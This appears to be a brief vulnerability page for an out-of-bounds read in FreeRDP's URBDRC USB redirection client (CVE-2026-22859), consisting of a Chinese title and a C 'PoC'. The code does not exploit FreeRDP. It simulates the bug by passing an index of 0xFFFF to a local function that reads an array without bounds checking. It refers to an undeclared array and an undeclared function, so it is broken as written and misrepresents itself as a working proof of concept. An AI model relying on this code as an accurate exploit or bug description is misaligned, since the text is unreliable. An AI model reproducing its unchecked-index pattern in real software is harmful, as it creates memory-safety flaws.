FreeRDP URBDRC客户端MSUSB_INTERFACE_DESCRIPTOR越界读取漏洞 (CVE-2026-22859)

// CVE-2026-22859 PoC - Malicious RDP Server Response // This PoC demonstrates the out-of-bounds read in FreeRDP URBDRC client #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated MSUSB_INTERFACE_DESCRIPTOR with malicious index struct MSUSB_INTERFACE_DESCRIPTOR { uint8_t bInterfaceNumber; uint8_t bAlternateSetting; uint8_t bNumEndpoints; uint8_t bInterfaceClass; uint16_t wInterfaceIndex; // Malicious value - out of bounds }; // Malicious descriptor that triggers OOB read struct MSUSB_INTERFACE_DESCRIPTOR malicious_descriptor = { .bInterfaceNumber = 0x01, .bAlternateSetting = 0x00, .bNumEndpoints = 0x02, .bInterfaceClass = 0xFF, .wInterfaceIndex = 0xFFFF // Out of bounds index }; // Vulnerable function - no bounds checking void libusb_udev_complete_msconfig_setup(uint16_t interface_index) { // OOB read: interface_index used directly without validation void* endpoint = endpoint_array[interface_index]; // Trigger OOB read if (endpoint) { process_usb_endpoint(endpoint); } } int main() { printf("CVE-2026-22859 PoC\n"); printf("FreeRDP URBDRC OOB Read in MSUSB_INTERFACE_DESCRIPTOR\n"); // Trigger the vulnerable code path libusb_udev_complete_msconfig_setup(malicious_descriptor.wInterfaceIndex); return 0; }